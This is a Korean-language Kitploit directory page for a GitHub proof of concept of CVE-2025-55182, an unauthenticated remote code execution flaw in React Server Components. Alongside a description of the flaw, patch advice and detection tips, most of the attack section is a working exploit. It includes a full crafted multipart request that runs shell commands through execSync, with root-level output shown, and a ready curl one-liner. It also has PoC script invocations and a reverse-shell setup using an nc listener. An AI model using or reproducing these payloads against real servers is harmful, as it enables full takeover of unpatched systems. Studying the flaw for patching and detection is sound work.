Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182 — CVE-2025-55182 | Kitploit
도구/GitHubGitHub/0xblackash/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHub0xblackash/cve-2025-55182

CVE-2025-55182

CVE-2025-55182

저장소 보기
15개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🚨 CVE-2025-55182 — React2Shell

hq720

Severity CVSS Type Status

CVE-2025-55182는 React Server Components(RSC)에 영향을 미치는 치명적인 원격 코드 실행(RCE) 취약점입니다.


📌 개요

이 취약점은 인증되지 않은 공격자가 취약한 서버에서 임의의 코드를 실행할 수 있게 합니다.

문제는 React Server Component Server Function 엔드포인트의 안전하지 않은 역직렬화에서 비롯됩니다. 부적절한 검증으로 인해 특수하게 조작된 요청이 악성 페이로드를 실행할 수 있습니다.


🧨 영향

  • 🌍 네트워크를 통해 악용 가능
  • 🔓 인증 불필요
  • ⚡ 낮은 공격 복잡도
  • 💥 서버 전체 장악 가능
  • 📈 CVSS 점수: 10.0 (최대 심각도)

React 기반 프레임워크가 널리 배포되어 있기 때문에 공격 표면이 매우 넓습니다.


📦 영향을 받는 패키지

취약한 버전은 다음과 같습니다:

root@kitploit:~
react-server-dom-webpack   19.0.0 – 19.2.0
react-server-dom-parcel    19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0

이러한 패키지를 기반으로 구축된 프레임워크(예: 취약한 버전을 사용하는 Next.js 앱)도 영향을 받을 수 있습니다.


🔎 기술적 근본 원인

결함은 다음으로 인해 발생합니다:

  • 직렬화된 입력의 안전하지 않은 처리
  • 엄격한 검증 전에 발생하는 서버 측 역직렬화
  • 적절한 엔드포인트 보호 부족

이를 통해 공격자는 서버에서 실행되는 악성 페이로드를 제작할 수 있습니다.


🛠 해결 방법

✅ 즉시 조치

  • 패치된 React 버전(19.2.1 이상)으로 업그레이드
  • 애플리케이션 다시 빌드 및 재배포
  • 노출된 RSC 엔드포인트 감사
  • 의심스러운 POST 요청에 대한 로그 모니터링

🧪 탐지 팁

다음을 확인하세요:

  • RSC 엔드포인트로의 예상치 못한 POST 요청
  • 의심스러운 직렬화된 페이로드
  • 비정상적인 서버 측 명령 실행

📚 요약

분류값
취약점원격 코드 실행
인증 필요❌ 아니오
공격 벡터🌐 네트워크
심각도🔴 심각
실제 공격 사례⚠️ 예

공격 방법

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

다음과 같은 응답을 반환합니다:

root@kitploit:~
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

CVE-2025-55182 2 CVE-2025-55182 3 CVE-2025-55182 4

사용법

root@kitploit:~
┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}
CVE-2025-55182 5 CVE-2025-55182 6
root@kitploit:~
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"
  • 출력: ubuntu (또는 유사).
root@kitploit:~
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"

리버스 셸의 경우:

  • 리스너: nc -lvnp 4444
  • 실행: sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444
  • 연결이 돌아와야 하며; 응답 다이제스트에 'shell_started'가 표시됩니다.

⚠️ 마지막 참고사항

애플리케이션이 React Server Components를 사용하는 경우 즉시 패치하세요. 지연되면 노출 위험이 크게 증가합니다.


도구 다운로드